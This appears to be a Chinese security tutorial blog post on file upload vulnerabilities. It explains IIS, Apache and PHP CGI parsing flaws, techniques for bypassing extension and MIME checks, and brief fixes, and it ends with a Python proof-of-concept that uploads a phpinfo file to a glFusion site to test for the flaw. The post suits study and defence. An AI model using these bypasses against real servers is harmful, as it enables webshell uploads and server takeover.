概述
文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力
文件上传本身是一个正常的业务需求,对于很多网站来说,需要用户将文件上传到服务器
文件上传本身是没有问题的,出现问题的地方在于服务器怎么处理、解释文件
所以,攻击者在利用上传漏洞时,通常会与Web容器的解析漏洞配合在一起。这里我们先了解一下什么是解析漏洞
解析漏洞
IIS解析漏洞
目录解析
原理:服务器默认会把.asp .asa目录下的文件都解析成.asp文件
文件解析
原理:服务器默认不解析分号后面的内容,因此123.asp;.jpg被解析成asp文件(用于只允许jpg文件上传时)
APACHE解析漏洞
Apache(1.x 和2.x)解析文件是从右到左开始判断的,如果不能识别,就继续向左判断
Apache(1.x 和2.x)解析文件是从右到左开始判断的,如果不能识别,就继续向左判断
PHP CGI解析漏洞
利用:123.jpg被当作php文件解析,abc.php是不存在的,这意味着攻击者可以上传合法的“图片”,然后在URL后面加上“/xxx.php”,就可以获得网站的WebShell
这种解析漏洞其实是PHP CGI的漏洞
在PHP的配置文件夹中有一个关键的选项:cgi.fi:x_pathinfo。这个选项在某些版本是默认开启的
在开启时访问URL,www.xxx.coom/123.jpg/abc.php,abc.php是不存在的文件
所以PHP将向前递归解析,于是造成解析漏洞
上传漏洞检测方法及绕过
客户端JS验证
客户端使用JS检测,在文件未上传时,就对文件进行验证
在浏览器禁用JS,可以直接绕过
服务器MIME类型检测
服务器检测一般会检测文件的MIME类型,检测文件扩展名是否合法,甚至还会检测文件中是否嵌入恶意代码
这种方法是通过Content-Type判断文件类型
![](https://i-blog.csdnimg.cn/blog_migrate/f880d9ea8efce5d5dc5aed4e0cd4ce29.png)
修改Content-Type值为允许上传的文件类型格式,显示上传成功
![](https://i-blog.csdnimg.cn/blog_migrate/08653e4af4eec692aaec742174026daa.png)
服务器目录路径检测
在文件上传时,程序通常允许用户将文件放到指定的目录中,然而有些Web开发人员为了让代码健壮
通常会做一个操作,如果指定目录存在,就将文件写入目录中,不存在先建立目录,然后写入。
然而这正是引发漏洞的关键点是因为在HTML中代码中有一个隐藏标签
这是文件上传是默认的文件夹,而我们对参数是可控的
程序 在接收到文件后,对目录判断,如果服务器不存在test.asp目录
将会建立此目录,然后再将图片一句话密码文件写入test.asp目录,如果web容器为IIS 6.0,那么网页木马会被解析
服务器文件扩展名检测
白名单验证
白名单定义了允许上传的文件扩展名
白名单的过滤方式可以防御未知风险,但不能完全依赖白名单,在IIS 6.0中可以利用1.asp;1.jpg绕过白名单
黑名单验证
黑名单定义了一系列不完全的扩展名,服务器端在接收文件后,与黑名单扩展名对比
如果发现文件扩展名与黑名单扩展名匹配,则认为文件不合法
绕过方法
黑名单漏掉的扩展名,如:cer
可能存在大小写绕过漏洞,如:aSp和pHp之类
windows下,文件名以"."或空格结尾,系统会自动去除,利用此特性也可以绕过黑名单验证
修复上传漏洞
目录过滤不严,攻击者可能建立畸形目录
文件未重命名,攻击者可能利用Web容器解析漏洞
预防手段
接收文件及其文件临时路径
获取扩展名与白名单做对比,如果没有命令,程序退出
对文件进行重命名
pythno自动检测文件上传漏洞脚本
import requests
def glfusion_upload(url):
path = "/index.php"
#构造请求头部分,主要是添加 Cookie 字段
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Cookie": "glf_theme=cms; glf_timezone=America%2FChicago; sc329=c5d0b2e6e8c27fa03c; pc63e=2; pwf7c=7c5ba4485f1972afcc4e9e6ec4a7745e; token=040646f16d9881cac56ce2a53db1a27c",
}
files = {
"title": (None, "test"),
"newfile": ("phpinfo.php", "<?php phpinfo();?>"),
"fileurl": (None, "test"),
"cid": (None, "1"),
"homepage": (None, "test"),
"version": (None, "test"),
"description": (None, "test"),
"op": (None, "addDownload")
}
resp = requests.post(url + path, headers=headers, files=files)
print(resp.status_code)
poc_path = "/phpinfo.php"
resp2 = requests.post(url+poc_path)
if "PHP Version" in resp2.text:
print("[+]", url, "存在文件上传漏洞")
else:
print("[-]", url, "未发现文件上传漏洞")
if "__main__" == __name__:
url = "http://127.0.0.1"
glfusion_upload(url)
上述代码说明:
User-Agent:浏览器表明自己身份(是哪种浏览器)
Accept:告诉web服务器自己接受什么介质类型/, 表示任何类型,type/* 表示该类型下的所有子类型
Cookie:是用于维持服务端会话状态的,通常由服务端写入,在后续请求中,供服务端读取
http请求,cookie的使用过程
server通过HTTP Response中的"Set-Cookie: header"把cookie发送给client
client把cookie通过HTTP Request 中的“Cookie: header”发送给server
每次HTTP请求,Cookie都会被发送
http请求发送 cookies的条件
本地已经缓存有cookies
根据请求的URL来匹配cookies的domain、path属性,如果都符合才会发送
结果:
![](https://i-blog.csdnimg.cn/blog_migrate/3aab9f2e1e77e818780c9ab88e095d32.png)